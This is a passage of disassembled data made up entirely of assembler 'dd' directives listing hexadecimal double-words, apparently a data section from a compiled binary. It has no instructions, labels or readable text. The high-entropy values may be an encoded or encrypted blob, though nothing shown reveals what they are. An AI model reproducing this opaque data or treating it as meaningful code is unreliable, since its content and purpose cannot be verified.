0F22B001Bh, 21A4137Bh dd 1C00EBF5h, 927189C4h, 0B8BD0646h, 3B83002Dh, 5DFA0A57h dd 0CA59BA99h, 0ED480070h, 54A2591Eh, 3F0A14C6h, 468210D6h dd 0AC681EEEh, 0AA0E339Fh, 8E23915Ch, 479C8103h, 21861D34h dd 39C8F499h, 3E0E4C7Eh, 80F53F64h, 15D9130Bh, 41A800C5h dd 14D74455h, 63007F03h, 0BD88E5FDh, 1F29975h, 0E13CC818h dd 0D8C5EC3Eh, 5B004177h, 1CB1B0B9h, 1E4597Fh, 73552991h dd 0D63DFB76h, 54CA72C0h, 77C254A0h, 88964B37h, 0A8809DE4h dd 3A93B906h, 9183A8FBh, 1CF747A1h, 0C19B3102h, 0E12E37CAh dd 881BF3Ch, 0FB5E73F0h, 0C726C45Dh, 7F055300h, 2FE0BA01h dd 0E66C0071h, 0D20E11B9h, 92008834h, 0C7FA0C82h, 59F65F5h dd 3FE5804Ah, 792FC0B4h, 0DECD109h, 0A6150C1Dh, 960BC6C0h dd 1EB1BE42h, 7B8D1203h, 0A1C56E00h, 0CC430299h, 71FE8600h dd 26D2059Dh, 0DDD41C53h, 288700B3h, 487FEE6Eh, 9F5E3200h dd 0A0EBEC23h, 0C6D0516h, 8185FE54h, 0D4BF713Fh, 6900DD35h dd 3AE08210h, 0CB7EF1h, 20D200Bh, 0FEF35A8Ah, 0B4B29B1Dh dd 0AE5DA70Eh, 98DEE012h, 1E363Fh, 0F4611B8Dh, 9C7E8923h dd 0F4CBFECAh, 11DE8607h, 97B8A19Eh, 39E48D26h, 0EB8300F4h dd 0B6779D5Eh, 510730ADh, 40E735EEh, 0D05073F7h, 4CA287h dd 0E4CFCCC4h, 9D583A11h, 0A0381E60h, 9B60BAh, 72B482BDh dd 2F6F3D5Bh, 102E2100h, 894B468Fh, 91E10281h, 4495A5D4h dd 5F8260DFh, 0F6D1F72h, 518AC038h, 0CD21BCC3h, 812FF338h dd 848A143h, 23200AB5h, 0D28C00DAh, 5335F8DCh, 0A7005F45h dd 0DFCF2C44h, 1C19CDh, 5BC4793Fh, 0F8C852C1h, 2A00A8B8h dd 972BC24Ch, 0A16CBCh, 0CACC6444h, 1E01328Bh, 0B7DC1F00h dd 51BBE4F2h, 94EE3EA8h, 1B1A9906h, 9603513Ah, 5E700757h dd 4915E832h, 9FD103DCh, 316B2117h, 610DD6F8h, 75087A4Ch dd 89396C60h, 20BD96Ah, 2C8212C6h, 0B848F1E9h, 4D00DE96h dd 51ADAE72h, 581F633Ah, 7095C04h, 54050FC5h, 2894C16Ah dd 82DE1018h, 11B405F6h, 8397E4A1h, 0A903A69h, 0BA12C933h dd 41006463h, 0E1FB1695h, 0AB9E0022h, 0A0A9BBE8h, 764B0886h dd 49C22800h, 0EA4421h, 0CD28F8DBh, 52413730h, 0DE81E900h dd 6469FE20h, 84C00D2h, 7A436ED6h, 0DC7F59CDh, 94444Ch dd 0D4628EF5h, 0FC345Fh, 0F153910Dh, 0A8BCE5ECh, 2B65A900h dd 0E731A4AEh, 299C0357h, 0B7CBDF56h, 209D85EBh, 4A7548B8h dd 3519DB00h, 9791DCD5h, 93AD1DB4h, 5C0F41DDh, 31C2EF88h dd 145EE88Bh, 0F60070FCh, 6F9C25ECh, 986E9E65h, 42823F9Ch dd 2E4D1602h, 14E362E9h, 86BC04ADh, 0D49B47D5h, 0C5173C40h dd 5D94005Bh, 99827B09h, 14BA55FBh, 804DD93Ch, 14FC2381h dd 58A2FAh, 93418399h, 6E7CDDADh, 3ECD3A0Eh, 0AAFE3A1h dd 9D64C804h, 60330042h, 6BC46A57h, 2100CFEDh, 0CBC31119h dd 3E8D86h, 0BE403498h, 74950458h, 7598C660h, 96DD1113h dd 0B4BC00E4h, 2C846EF7h, 31003FF2h, 0EC072022h, 3B41E152h dd 0B6AE9BEFh, 0AA3A8274h, 84E87AAFh, 0B850F2F1h, 933CEFC0h dd 0BD007D62h, 1DE3E620h, 0E2EA7BE2h, 0AB04309Ah, 0A4ADCD41h dd 5057C1FDh, 6617C880h dd 3BA2D100h, 936BB956h, 679500CEh, 381530F9h, 0D803BB61h dd 0EA74A587h, 0F191F0D6h, 0BC3525DAh, 0BEC52C80h, 54078C48h dd 858A5ABAh, 739C9BB0h, 3BA80101h, 311B9A4Bh, 0C025D8D9h dd 0C717C901h, 0DC462A78h, 3B0E81D4h, 9C80DE53h, 0FB9B2E32h dd 8FC4324h, 0DB8EED00h, 0B291ABC5h, 0F01200C1h, 60EFAAD1h dd 0BB395045h, 71B09E22h, 0AEDFCC00h, 0CA87B2h, 7C095AC4h dd 0FC0C4EF7h, 0AF527700h, 31E4EA53h, 0EC6F861h, 4675ABB8h dd 21812B20h, 0A62C8C8Dh, 0C71F4313h, 0AB68D218h, 5BA10382h dd 0CCF0620Eh, 25A938A0h, 5033A0C1h, 7187E356h, 8CF6E068h dd 0B201BB39h, 3EB5C5FBh, 5AF0BDDBh, 36A500C3h, 0D3104193h dd 0D8182CECh, 2641A713h, 0FEEAF06Bh, 964A008Fh, 70F83BA5h dd 0E407A8BFh, 0C24E11A4h, 0F03727E3h, 0ECA092h, 28E2FD6Fh dd 0D5F98042h, 970EB100h, 0EB197E52h, 0A5A71830h, 0F7CB90D0h dd 12C37207h, 60E017F8h, 54678BAh, 6DF95B13h, 0E56580D1h dd 8E00553Bh, 20BB825Dh, 1C2FECDBh, 45437BAAh, 80F67C1Ch dd 0D3BDF00Ch, 14C12106h, 10A8661Bh, 3EE5AF42h, 289000CFh dd 68D88E34h, 0E859006Bh, 4A08C8D9h, 0D00024F4h, 0E49FD518h dd 6B70DFh, 6FE9E5Ch, 880A3126h, 0A268AE01h, 0B7C2B6EEh dd 6A384180h, 0EDAF4005h, 1FBB8000h, 0A0D67C77h, 32FC00F3h dd 71D78EBh, 30C76C22h, 0D71095A8h, 39BC638h, 6004011Ah dd 1BE80B89h, 770671C1h, 0A64A33Ah, 0CB6900B8h, 92285094h dd 9F0063B5h, 4F75C1FFh, 240964h, 0DE5213B3h, 9A85872Fh dd 1A506D00h, 0BB91B6ADh, 0A7A301D6h, 6583869h, 80D802DFh dd 3A782BECh, 48FEEC98h, 91011C75h, 3BDB8558h, 19FE04Eh dd 7065AC00h, 9518F14Fh, 22960FE4h, 0ED40D1C7h, 32626C17h dd 0D99C5600h, 0E8DE9B04h, 9AD500B7h, 34465CD1h, 0C800E05Bh dd 4486CEB4h, 3C888737h, 929F837Bh, 0F3BC027h, 6D129B6Ah dd 0F22FAA01h, 0BF592A47h, 0D91E0h, 48E236D7h, 4A5BA7F1h dd 279EC100h, 502C16BCh, 3E8700C5h, 0C79BD532h, 3A008E7Fh dd 637D76E8h, 24792829h, 8EBE1Dh, 0BFFC78DDh, 0C701BD22h dd 4502DE09h, 3BF457B5h, 347A00DFh, 6349A50Fh, 68002F3Dh dd 0CF1CC5DEh, 38852CD4h, 0AC3F0555h, 2E71FA03h, 36E0272Dh dd 0B91E6D5Bh, 0B5803B30h, 0C548E48Eh, 8CF10077h, 0DACF99BFh dd 0D498AA37h, 45D19F00h, 2957DD14h, 0E9B0F3h, 4C798110h dd 8D398448h, 128155Ch, 555885FCh, 0E72091AFh, 43615CC2h dd 0C59A4E00h, 496DE781h, 690012E6h, 50F59B63h, 60C66Bh dd 72042C1Bh, 0F286A996h, 65AE0801h, 99DBA85Fh, 0EB9E9FCh dd 0EC356BD7h, 0A9C47460h, 0E5730B11h, 12EE961Fh, 850F9EC0h dd 51C3Ch, 78B7D30Ah, 0EE31517Eh, 0C8AEF600h, 41456FB5h dd 0A0E7001Eh, 1A5D97D6h, 0E0000E52h, 228DD09Ah, 0EE348B55h dd 601560E4h, 920D12A4h, 16B02806h, 1B4C776Ah, 203DD7BDh dd 9876FE90h, 87B70A06h, 1299A728h, 4016AF23h, 880192E0h dd 0D974903Eh, 0FFCC480Fh, 0A358801Bh, 52A822h, 8FE97FEFh dd 76E61036h, 40E76428h, 0D8FE4500h, 0E8D69588h, 125B3053h dd 0A140859h, 0E0FDFB14h, 0EA53F10h, 0F4228F76h, 0F90A0040h dd 29963D88h, 7AB0A7h, 75A09BFBh, 0CE27BD5Fh, 841ECC00h dd 4A3B6CD2h, 0A9EB0078h, 374509D6h, 0CB02DB93h, 92487A0Fh dd 0BEDB80C7h, 47AE0Bh, 953959E4h, 0F2315EA0h, 0CC7ABD00h dd 55A9FE38h, 0A7DB3B66h, 71E2EC8h, 77CBC18Fh, 0F40A67DFh dd 0E3038A12h, 0CDE0D9A0h, 0E850C0F0h, 0D4DF0024h, 0B49A62A4h dd 0A17F09E9h, 67B8DA00h, 49BFFFEFh, 0B0960182h, 0FC303115h dd 0A6A8CC17h, 0FE3CBCA0h, 3C774Ch, 0F31A2666h, 7F13BFB9h dd 0DA75003Dh, 28244E99h, 0A1009097h, 734D57F2h, 9EC8C2h dd 701D1202h, 4C50EF9Ch, 0F2E45C00h, 2895464Ah, 892F07BEh dd 0A1E591D6h, 0DC96C31Ah, 17009D31h, 5F7EE969h, 928BA4BAh dd 3D7500A0h, 4DFC8319h, 20049AF5h, 0E63516A3h, 8436A8C0h dd 0BDB31E70h, 1A2840C8h, 310FF548h, 62147C13h, 5F27AE00h dd 1ED06A1Fh, 16EE305h, 0F9081E78h, 69C8300Bh, 3A79B800h dd 0A1469A51h, 6C5B09A3h, 0FC809ECEh, 75171A61h, 0FB00CA75h dd 105954EBh, 0F8D1BC6Bh, 819400E0h, 0D5C0AC83h, 0D81204CFh dd 0C500A09Ah, 7CBC1F4Fh, 0D148C09Fh, 96FA3BB9h, 0F747C204h dd 0F0D09779h, 182CBEh, 832F059Bh, 0CAD5867Eh, 6D73700Eh dd 3DA9A389h, 0A3B89855h, 40162D34h, 0F2066370h, 0E4B7D914h dd 12C01050h, 2C017A0Bh, 87EA821Ah, 0FB3057C9h, 2501009Ch dd 3307FC6Bh, 0F900A5D2h, 9480CC8Ch, 3934EF5Dh, 20CB251h dd 6FB0E341h, 0DE18C800h, 0EBA0CFB3h, 0F4317EACh, 2A552ECDh dd 28E7183Dh, 0FE014D14h, 0F21DBC1h, 0C083095Dh, 6FD961D1h dd 85B8BEB8h, 0AD9BF600h, 3E23511h, 94CA0005h, 0D5ACABF2h dd 0CD00641Fh, 0F2CDEC1h, 2FF508A0h, 99804191h, 0E20DFACh dd 598E7B00h, 0C51F5DAAh, 24FE0FA6h, 0C9E05C01h, 0EF65D7A7h dd 25DDF50Ch, 0B3989Dh, 5239AE8Bh, 14A34855h, 0FA94BA50h dd 60333844h, 9722702Dh, 6D0067B5h, 22B57F1h, 468C5Ch dd 7AFA48CDh, 4261AC68h, 0DF76FD00h, 8126FEECh, 0C04D0012h dd 85C631A2h, 881CED37h, 0FFC0AF75h, 928F58EFh, 0B1171D7Dh dd 6812CA51h, 0C05B80D0h, 0AEFBE040h, 330020BAh, 2B477483h dd 4E8434h, 182D6A81h, 0FF5DB3C6h, 1ED2300h, 0EA80AFBBh dd 0C17BBFh, 0E26AD14h, 6ACFA1DFh, 0C8BEEF17h, 70188C1Dh dd 5C3859h, 1AD32B85h, 7AA71A5h, 0A700649Ah, 109FD813h dd 0F1D5586h, 816EBF02h, 0CE96FEC3h, 0CADFF4D0h, 0F93F49C7h dd 80FF2EA2h, 0F37AC2ACh, 2B78005Dh, 5FA2F052h, 0B800CBC0h dd 0FD31B421h, 0BAF15Eh, 0DB240582h, 89183A70h, 4C4BEA17h dd 1601E0FCh, 38F98525h, 0D740704Ah, 662440h, 0CA2FD142h dd 4917EEC9h, 0D31E6894h, 1AE6FA80h, 92B8685h, 1D23E1C7h dd 0A0A25884h, 5E0026BCh, 0AD357C95h, 1C874FEh, 2171D256h dd 0DCC5E743h, 2300C2B4h, 553B4612h, 39616BD3h, 40E051F2h dd 2852B7C0h, 9D00CCB2h, 14E00F73h, 7118CC9h, 0ADE8F547h dd 0D3EBA030h, 401F2674h, 0E7815DE9h, 133A8B5Eh, 5F4EF040h dd 0D46E2565h, 1C631C00h, 0EF3B353Fh, 0C12B8013h, 0A4682719h dd 0E9CB007Fh, 56CE9316h, 1F1E4EF6h, 6FC08DD5h, 3B18E52h dd 0B9EF0289h, 0D45AC539h, 3198EE63h, 2A4E9461h, 1900B4ACh dd 7C84BD98h, 22501D81h, 0D8918E98h, 72879D06h, 0DA60F541h dd 0ADF6007Bh, 6555CBCAh, 500ED10h, 46F8DB0Dh, 5D86098h dd 49C9F9FAh, 0C88C0092h, 0DDFB9A7Fh, 80534F39h, 0A730E4C2h dd 2C76195Dh, 18820E92h, 4D287865h, 2F8C0700h, 638E9E02h dd 0DA712601h, 99E68074h, 47B71DE1h, 0D0E9844h, 7546FDC3h dd 0FC63E911h, 2300B84Bh, 28E3F54Fh, 127B3B70h, 80871207h dd 600A6DD0h, 80E9D725h, 465C6E40h, 0BE293E33h, 0B6EEB805h dd 0BB028010h, 670051C8h, 0DC5F05E8h, 13BC398h, 7A2F95DEh dd 0C4285EF6h, 470E54AEh, 0AE997402h, 0B2D6C024h, 5050672h dd 0C4D120A4h, 5265805Ah, 0B5148C96h, 0C4CCCAh, 280F4A3Dh dd 6E8B7Ah, 0F9B7D6A1h, 2783F779h, 0CED17200h, 0E5B81382h dd 76D90EE4h, 91E0BC17h, 42572358h, 20D3301h, 85B2CF84h dd 1CB44820h, 40F588F7h dd 281A298Ah, 1C1E9E5Bh, 0CF0797BBh, 5A80CDD2h, 39B2D0Eh dd 0F5A51B71h, 0D09F4EF7h, 319A9C23h, 0B193C100h, 2A0F36A3h dd 0B0C61603h, 17EC078Bh, 0E9928057h, 552C80Ch, 908C4094h dd 967E2E0Bh, 2F2E006Ch, 75F264Bh, 0CEE0E5A0h, 8E5566E2h dd 0F1358A00h, 6BF51778h, 0EEF7B9Fh, 0CBCC1BD3h, 5E314DA0h dd 0B100FC76h, 12738F16h, 0C18DC3h, 0E5D72E7Bh, 9BBE0368h dd 0DE6ED800h, 410A2937h, 49A3001Eh, 735F575Dh, 0EF09D7E0h dd 800ECB4Bh, 0A8ADB570h, 0E54D008Dh, 6EA1886Fh, 18B83061h dd 0B189AA00h, 0DEB04B63h, 5B9F00E0h, 2870FB7Ah, 0C31FF735h dd 0E8B0D299h, 0B1727DAh, 0D90EEC2Dh, 8A50389h, 6278C0BEh dd 0A504970Ah, 13119F05h, 58BC88A2h, 64358B08h, 1D9440E8h dd 0FE0079E9h, 0F680F476h, 188D165h, 0C25CB83Eh, 20E8C792h dd 661E0B70h, 0E15815AAh, 0E8019020h, 9CF90F2Ah, 181811A3h dd 0E600B344h, 8F71625Dh, 38815B52h, 5000DB07h, 0BBD9E264h dd 0F3006C16h, 0A4228BD0h, 712C363h, 39189013h, 5198062Ah dd 9588090Eh, 3AA88016h, 5BAB5CBBh, 0ED51B18Ah, 0C0AC2877h dd 52097E8Ch, 50287C8Bh, 50920CE1h, 6A60C8h, 32AEF597h dd 66ABF677h, 1D3040C0h, 99B73h, 4A5F45E8h, 97CA9AE4h dd 2A9C1900h, 0B1DB74DAh, 0A6D713BBh, 0C37E0014h, 29A0765Ah dd 547175Ch, 0BCAE251Fh, 6001EE80h, 30330064h, 0C53A9C1h dd 0E9E488F2h, 0B22EA500h, 498EC79Fh, 78B900F7h, 3EF4BA40h dd 39789408h, 5ADB200h, 2421F07Fh, 3DC90E8Dh, 1DE06A4Bh dd 6B4D31EAh, 31A83B2Ch, 0CF5CD100h, 25FD672h, 94C89BAFh dd 0E7C03309h, 0FE00AE0Ch, 0F09837A4h, 6C675Ah, 65103BF9h dd 0AD999664h, 0AC8FA90Bh, 0BC8257Ah, 5E0438h, 14FE37E3h dd 0E7CB5F28h, 0F17913Eh, 948BB8h, 150D6A13h, 0FB3800E5h dd 0D21096BAh, 0A860FFE2h, 0E7265C40h, 0A6DE2C70h, 0F9CE000Bh dd 0D832150Eh, 66C33C1Fh, 206FC24Dh, 14DA0C60h, 20E34554h dd 18F4DBE1h, 4093EE5Ch, 0CB078A6Ah, 150C9567h, 0FDC91150h dd 300A7A24h, 0FEB8DDF7h, 1000625Fh, 6895EB7Eh, 0B9A663Ah dd 1D697A11h, 0A82390A0h, 6A0E85EFh, 2B5EB73Bh, 2B2020EEh dd 54AB9B0Bh, 4F19014h, 8B3D26ACh, 925481A6h, 6089856h dd 5C45721h, 2FE7D126h, 1CA840DFh, 1BD68369h, 0F7AC3000h dd 0A0D28E8h, 0C5DFE8E2h, 4B14A969h, 3B0082C0h, 0ABB89F96h dd 1F591860h, 8C7BF7h, 3EFA1CD4h, 0DACB498Dh, 69CEF1Fh dd 88146A8Ah, 3CCAE302h, 4E8A38Bh, 49FE98EFh, 36680760h dd 40AC65F5h, 1B8837E9h, 63008AEEh, 0C642629Ch, 3044A4BFh dd 5B9E633h, 0AD01D541h, 16F63F5Ch, 8986764h, 58A621CEh dd 2E3AD500h, 0BCEA7A10h, 0FE0D05CAh, 1053657h, 5396E6B8h dd 52C443FDh, 1436023h, 5CC0D53Ah, 88CC1857h, 0D50051A7h dd 0E9056A92h, 180A3A33h, 50DA975Fh, 0DC028FB3h, 5194C9BAh dd 0AC72AAh, 7A8DA9A1h, 0A8055985h, 3A7CC4FAh, 0DDC55801h dd 0A36B7964h, 43439052h, 0F5A7D028h, 9F150138h, 0A44DE4FDh dd 8CD6F166h, 91DD3068h, 1200057h, 0AC21A74Eh, 26005FC8h dd 0A6E38BFAh, 635CA10h, 6679C1A4h, 97E461A5h, 48DC4F32h dd 85461B5h, 28265B60h, 9D813BBh, 8EDFFBEAh, 87F46004h dd 0D7182CB3h, 6BA89312h, 0CB0B414h, 0F9E70F87h, 94630E6Ah dd 92C05ED1h, 0EC210966h, 0AA28003h, 38CC8B87h, 0D8837A28h dd 9897E3A0h, 0FD736000h, 0BC04556h, 0E4FB308Fh, 7B67FC28h dd 0EB7D1F1Fh, 0D8E37F06h, 150A0118h, 3DB81229h, 84D183A8h dd 0F08BD63Bh, 32E9764Eh, 81085623h, 4363A448h, 17C6D600h dd 1A36B5A7h, 0E8BD48DCh, 0F128310h, 560458Ch, 9C454CCCh dd 0B046DB94h, 69923Ch, 46097B82h, 0BB5AE478h, 3E17B700h dd 0BD2CCE87h, 8AFA05C0h, 0E807093h, 39D83D90h, 0C40B6F69h dd 8010DE91h, 0D38A469Ah, 54A70A9Ah, 8A450F6h, 0AD00F467h dd 0A2C84BFh, 5F161832h, 4FE6A06Dh, 4553A401h, 79267D2h dd 18486421h, 83963ACDh, 98104069h, 0AA285890h, 0AB30A0F3h dd 0D7DE190Eh, 3D2E019Bh, 5E1236E7h, 57E0208Bh, 9670950Ch dd 15A430F8h, 80C69710h, 8C479050h, 0ACD53E04h, 0CD62375Ch dd 0D556AB20h, 7B61F93h, 380E685h, 8667FDA9h, 4604B8FEh dd 9C9458Dh, 0FC40D4E5h, 65387313h, 42E34EFEh, 0FC4B87FCh dd 1144880Fh, 0D6819DC6h, 773E0A8Dh, 0BCA4980Ch, 42D64500h dd 70962CF5h, 7E0931D2h, 85C794E1h, 1622E249h, 0B1CD4402h dd 64744CE8h, 60BB789Bh, 688CD63Ah, 983C700Ah, 4264D180h dd 2500D674h, 78EC9EFEh, 31115EDBh, 0BC690FAAh, 0C2CFD017h dd 0C416FC0Fh, 83678B9Fh, 0EFE28C66h, 0DAC0B297h, 1DC59A0Ch dd 8B415C46h, 44809342h, 0EEE02890h, 0C4122A14h, 0D63F804Ch dd 0AC2E0A8Fh, 997C6088h, 3FD64767h, 4C8ABA03h, 1ACECh dd 52D46991h, 0CA87A788h, 1E5B671Ch, 42C5E780h, 128AC7EEh dd 98B03EBh, 44B08FD8h, 6E28785Eh, 0F07D8FCh, 8EB08297h dd 0F90623C3h, 60207B7Fh, 3D3A26A0h, 97714040h, 1702DD7Ch dd 6677FD55h, 3ECC8003h, 1293BA82h, 40B94253h, 0F6F4791Ch dd 8D09C06Fh, 277EAA13h, 54302770h, 9DAD321h, 2BFBEFAh dd 709D875Dh, 90511786h, 0A6A73028h, 41D55EB8h, 4D6FB50Fh dd 88E1A068h, 92EAFE11h, 355C765Ch, 80B07FD2h, 408C51D8h dd 0A8BF7613h, 0AB3AA405h, 6011E8C8h, 0B941087Bh, 0D9FC59C5h dd 0E843D126h, 83637301h, 0E0EFAFCFh, 1DCC5BBh, 46060D3Eh dd 80D53045h, 2A61B071h, 0FC91EAh, 36984122h, 0AC20B544h dd 8D574F0Eh, 0E4565642h, 10337C03h, 3C085212h, 0C2A31101h dd 0FA0F165Eh, 4FE3B4A1h, 24F0A896h, 708FA305h, 8800123Eh dd 7CCC1A5h, 7D040AAAh, 80C8943Dh, 76FF1BF1h, 6473E392h dd 0E6734700h, 79F2E9B4h, 0A3DD01E2h, 7EDE5EACh, 2CC4CE83h dd 4F20A813h, 0C0461008h, 5CABD53Fh, 0DA222F46h, 0F8E6A840h dd 0B46B3A9Ah, 0F489B100h, 15520A63h, 90E23A01h, 0CAC25E5Ch dd 841AE0h, 1CBB2345h, 0E42CC765h, 0BE18C97Ah, 0DE30CB4Ah dd 51DC3D4Ch, 77374B01h, 8987635Dh, 40C948h, 0A2C3393Ch dd 6EFE1D20h, 0CAF080ECh, 67D10ADCh, 0EE69141Dh, 0EAE500FFh dd 0C8E219B1h, 404060A0h, 9754B315h, 0E4338103h, 888B9E44h dd 0C141FBCh, 3B3DFCE2h, 7F005A29h, 7DB1B88Dh, 66B921AEh dd 212508A5h, 8D96FB00h, 0E195C3B3h, 1A6AEE0Dh, 0E0524090h dd 0A1037980h, 0BE00A0D7h, 68365C43h, 6792C2CAh, 633A40E6h dd 4888E0F3h, 3E198106h, 0BF080E61h, 0A13A9440h, 8FEFBh dd 0A837914h, 919A3031h, 5C41D061h, 0FACC4EB8h, 6ACF0002h dd 0EFC79F29h, 0E1031CB0h, 9E4577C9h, 20E13D8Fh, 0B180ADBCh dd 3ABBC28Ah, 50F76291h, 26E175ACh, 0F69AF301h, 0FE92CEC5h dd 218B0898h, 2674E952h, 7938F570h, 4E90818Dh, 0CF39763Fh dd 187FA0C4h, 311D63A9h, 0FE023DFAh, 0A74850DEh, 0AC9A40B0h dd 18A41CEDh, 0B12581D3h, 457ACF34h, 3E1000C4h, 3ABCE384h dd 18D094A1h, 0E2E008F5h, 0BBC4F648h, 0E0FDA740h, 2F0265C7h dd 0FB1CB1B7h, 97F09112h, 11488110h, 4CB18905h, 100974DBh dd 91001F93h, 0CA6D802Fh, 7B9AB2ABh, 12E37CFFh, 40CCE9ECh dd 7BCBA97Ch, 0A4B84377h, 614AE619h, 2180B508h, 957BC30Bh dd 827F484Eh, 707E8007h dd 202F44EEh, 0E21FC4D4h, 31CF60E8h, 79E0C78Bh, 0E8443431h dd 460080EBh, 0C4E82906h, 0C0FBC9C8h, 0B1CB8D78h, 23229546h dd 8D8FFC07h, 6971ABACh, 47D43235h, 213F603Ah, 9E0D370Eh dd 5F4E701Fh, 18192A18h, 730F149h, 0CAFE3E74h, 0D257FF00h dd 8588CB7Bh, 0BF17859Ah, 820050C4h, 6A261C49h, 0F3D52CFFh dd 0AD2439CCh, 807B1144h, 9AF926E7h, 0C0C64206h, 0B26EF5Ch dd 0B99E00ECh, 0E08E8FC4h, 3D400E36h, 0EA5CB814h, 0DE400188h dd 64A508E9h, 491083BFh, 17316647h, 8012B228h, 48D2A0E4h dd 8611367h, 81CE6090h, 83520107h, 9F34B38Ah, 0FCB4401Dh dd 0E149BB84h, 5978054Ch, 0D458A4EEh, 808F4F28h, 0C4A14558h dd 657A18F9h, 62A5F88Dh, 0FA202EC4h, 15808D91h, 0F81213B3h dd 0AD70147Ch, 4009A96Ch, 948289CFh, 0E20FCA8Ah, 823CEA16h dd 0AA2BC7Ch, 2463DA0h, 48E7E0F8h, 1C3467DEh, 5EE000A4h dd 0E2AB08D4h, 0F2029B75h, 8475EFB8h, 0EBAE027h, 0E8E56049h dd 1B8F5487h, 0FD06E083h, 80C550AAh, 4915F221h, 0B48080EFh dd 9943827Bh, 10B3448Ch, 3F7BCC00h, 3B53287Ch, 6D37E27h dd 0D90E9B14h, 5B0C58AFh, 70900B55h, 0C4D6244Ch, 753A8074h dd 10C5A0C3h, 80F8A369h, 96EA8A6Dh, 0C1D50C45h, 4968CEACh dd 2C0A4F14h, 0A5060094h, 40861D60h, 0B87C01E3h, 421766E2h dd 7820A851h, 0D0FABB0Ah, 0BF7020C2h, 0B0088C1Ah, 35E7A3Fh dd 0C6A8AD08h, 8A4F9012h, 0C0907008h, 9AF426E4h, 91C5EE21h dd 0EC53028Eh, 40C86D26h, 801C4328h, 0B406D544h, 2CCDF54Ch dd 3CEE1410h, 684890A8h, 188C0711h, 7F19F50Eh, 12B32064h dd 60CDF934h, 30EB5082h, 7E117BB8h, 0B488B943h, 7BD00C81h dd 0F5E4FF85h, 0B86E7ED4h, 1F4435D2h, 60B004B1h, 4F0B01A8h dd 41062A1Ah, 0B93AEC98h, 18D841E5h, 1BC47C5Eh, 28384A1Eh dd 0A844BAD2h, 0DE3EE30Dh, 9C0E1833h, 2FC08F88h, 945047h dd 0C7392F0h, 0CF91B7B6h, 2E7F61C0h, 0F304CF1h, 0A2A38C4Ah dd 7A6D409Eh, 0BC881498h, 4BB5651Ch, 9C156BCAh, 0B10EC207h dd 1912A83Ah, 0AD14AC01h, 0F0489BFCh, 0B58E0028h, 0ED39D066h dd 0F6000369h, 348FEC21h, 34A13C6h, 5C7F1B91h, 4E80CD2Ah dd 0C8009681h, 0FE1C3F6Bh, 2D68F5h, 93C7A358h, 21326CCDh dd 631FF800h, 0AC9FB8A1h, 0FD7658E0h, 0E7101Ch, 5D09E47h dd 7B00E1AFh, 0F5A832C5h, 70078Bh, 5C7E2186h, 66CFB740h dd 0FE0EB38h, 618F1768h, 9546514Fh, 6EC7D8h, 0AFFD2334h dd 9C8EAADAh, 0D798DF00h, 99032EC4h, 0C31D3176h, 0E43E5B50h dd 0E600A49Ch, 0A809AC19h, 0F7CD90h, 0E2DCDB77h, 5BEA979h dd 0C351F40Ah, 0ED00E56Ch, 0E6AC215Ch, 25720014h, 4A151894h dd 91008B50h, 2FEDDCC2h, 210A2Bh, 3DE21B09h, 0D354DB45h dd 802AE00h, 2928340Ch, 0D9062582h, 1512195Ch, 0A6725D00h dd 6D22B4Ah, 8DD8850Dh, 0E40F1916h, 4063A46Ch, 7F9BDE7h dd 0F88F0086h, 2C2C128h, 7E009F3Bh, 44BA75F3h, 0FE74204Fh dd 0CCFB50C9h, 74575DBh, 0A0482138h, 583B209Eh, 93008B6Dh dd 0E9ED310Ch, 3458E46h, 56818A34h, 2CA03C0Bh, 0D30EB7FCh dd 1BA1771Fh, 37D2F082h, 459B1C55h, 35544780h, 9744104Fh dd 1C006270h, 0D9007D7h, 0BF4C5Ah, 0E6B2FFF8h, 80347881h dd 0E5D77200h, 0AEA26038h, 0EA3700CBh, 61C94EBCh, 2B003A1Bh dd 0B8A65051h, 234B5Fh, 2ECDE729h, 190C16AAh, 0C986B700h dd 0C7E872C4h, 0B53E308Fh, 5BB63C71h, 0F2D89E03h, 79A537Ch dd 8A77EF19h, 0A7601F31h, 29F6FBCEh, 0E1393500h, 0DE04C9B5h dd 0A2D90292h, 4A46F72Eh, 313623C0h, 8FA9F404h, 0F2ACCC73h dd 33242C00h, 25A7723Fh, 46C62E02h, 0E0BC3BE4h, 3E4B2Eh dd 42B98EF5h, 0A15140A2h, 0FA00CFFCh, 8B9F639Dh, 18C16D2Fh dd 0C372DE1h, 0B73CEF47h, 0FC4680B4h, 0C8C61286h, 457B4C7Dh dd 0B1A1EB00h, 451501A6h, 49CEE07h, 9D102840h, 2DB95Dh dd 0B2F82532h, 2EA9AB99h, 0DB2FA000h, 0E4FBD0F9h, 0C26B00A5h dd 0D96DB04Dh, 9000B173h, 0F3C38C83h, 0F179586h, 51377B33h dd 5A1CBDC1h, 151824D3h, 5E26D9C0h, 3FA870h, 586DF6BEh dd 10B49B77h, 981F1100h, 4E5C2601h, 2DC0F35h, 0B0C13FC2h dd 0F49CB385h, 3D07EE66h, 0E2B57F0h, 0C840EF45h, 5812556Fh dd 0CBBE00F8h, 2E4571E1h, 1600BDCAh, 7B31235Fh, 246E8F53h dd 6808E3h, 41844FFFh, 8E392C14h, 0C8F9AA73h, 960053F6h dd 0F8B80CFEh, 0F2022EEh, 0F09E488Bh, 0ADF22FA1h, 54E340D7h dd 0AE0E8D6Fh, 0A4579715h, 0E881B135h, 63C053E0h, 49F30017h dd 830EA9B0h, 0ED0FE481h, 8A072Ah, 0CEE13B4h, 0B98903D3h dd 96698F06h, 0D4E73EB8h, 74315F00h, 0B1EE8623h, 0C05901C8h dd 0ABB8CEDCh, 0F6D4F8A5h, 0DA038E07h, 4A408D3Fh, 5E64832h dd 87B94B89h, 0C083019Ah, 0FC6B99F5h, 0C318F95Bh, 31189614h dd 0DB750046h, 0D611AEE8h, 72EFE64h, 0E00003BEh, 5F589881h dd 4C41002Bh, 16EDF866h, 34006D6Ah, 65DBE015h, 7FA87B21h dd 55D98BAh, 0EE8FE83Fh, 13208091h, 6338B830h, 486A0047h dd 0D6075C1Dh, 6D8805E3h, 4FB6F2h, 307246B4h, 25004C8Ch dd 89E7B9F9h, 3D9D2DD4h, 46801584h, 0EC41EA0Dh, 5F00B479h dd 0EFD10397h, 0FBCED8AFh, 7198E450h, 0C38401A5h, 0B035C61Ah dd 0F8FEC927h, 1500F40Ch, 0DDE39166h, 0C49085h, 0D94A1617h dd 757EA1BCh, 7C25E225h, 0E1CC0079h, 521F6D5Ch, 12FAF7FAh dd 4DE4B003h, 0BAE7199Dh, 118642Bh, 78844B8Dh, 30B0E669h dd 6A036D32h, 9141CAD4h, 0C1C8F09Ch, 0C95B0172h, 14587C70h dd 0A78424E8h, 0E0306900h, 